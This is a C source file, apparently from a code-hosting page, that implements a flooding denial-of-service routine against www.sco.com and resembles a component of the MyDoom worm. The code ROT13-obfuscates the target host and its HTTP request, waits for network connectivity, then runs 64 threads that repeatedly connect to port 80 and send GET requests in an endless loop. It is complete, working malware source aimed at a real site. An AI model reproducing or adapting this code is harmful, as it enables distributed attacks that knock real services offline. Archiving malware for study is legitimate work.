-
Notifications
You must be signed in to change notification settings - Fork 24
/
Copy pathsco.c
122 lines (104 loc) · 2.22 KB
/
sco.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <winsock2.h>
#include "sco.h"
#include "lib.h"
#define SCO_SITE_ROT13 "jjj.fpb.pbz" /* www.sco.com */
#define SCO_PORT 80
#define SCODOS_THREADS 64
static int connect_tv(struct sockaddr_in *addr, int timeout)
{
int s;
unsigned long i;
fd_set wr_fds, err_fds;
struct timeval tv;
s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s == 0 || s == INVALID_SOCKET) return 0;
tv.tv_sec = timeout / 1000;
tv.tv_usec = 0;
i = 1;
ioctlsocket(s, FIONBIO, &i);
for (;;) {
i = connect(s, (struct sockaddr *)addr, sizeof(struct sockaddr_in));
if (i != SOCKET_ERROR)
goto exit_connected;
i = WSAGetLastError();
if (i == WSAENOBUFS) {
Sleep(50);
continue;
}
if (i == WSAEWOULDBLOCK)
break;
goto exit_err;
}
FD_ZERO(&wr_fds);
FD_SET(s, &wr_fds);
FD_ZERO(&err_fds);
FD_SET(s, &err_fds);
i = select(s+1, NULL, &wr_fds, &err_fds, &tv);
if (i == 0 || i == -1)
goto exit_err;
if (FD_ISSET(s, &err_fds) || !FD_ISSET(s, &wr_fds))
goto exit_err;
exit_connected:
i = 0;
ioctlsocket(s, FIONBIO, &i);
return s;
exit_err:
closesocket(s);
return 0;
}
static DWORD _stdcall scodos_th(LPVOID pv)
{
struct sockaddr_in addr;
char buf[512];
int sock;
rot13(buf,
/*
* "GET / HTTP/1.1\r\n"
* "Host: www.sco.com\r\n"
* "\r\n";
*/
"TRG / UGGC/1.1\r\n"
"Ubfg: " SCO_SITE_ROT13 "\r\n"
"\r\n");
SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_BELOW_NORMAL);
if (pv == NULL) goto ex;
addr = *(struct sockaddr_in *)pv;
for (;;) {
sock = connect_tv(&addr, 8);
if (sock != 0) {
send(sock, buf, lstrlen(buf), 0);
Sleep(300);
closesocket(sock);
}
}
ex: ExitThread(0);
return 0;
}
void scodos_main(void)
{
struct hostent *h;
struct sockaddr_in addr;
int i;
unsigned long tid;
char buf[128];
rot13(buf, SCO_SITE_ROT13);
for (;;) {
while (is_online() == 0)
Sleep(32768);
h = gethostbyname(buf);
if (h == NULL) {
Sleep(32768);
continue;
}
memset(&addr, '\0', sizeof(addr));
addr.sin_family = AF_INET;
addr.sin_addr = *(struct in_addr *)h->h_addr_list[0];
addr.sin_port = htons(SCO_PORT);
break;
}
for (i=1; i<SCODOS_THREADS; i++)
CreateThread(0, 0, scodos_th, (LPVOID)&addr, 0, &tid);
scodos_th(&addr);
}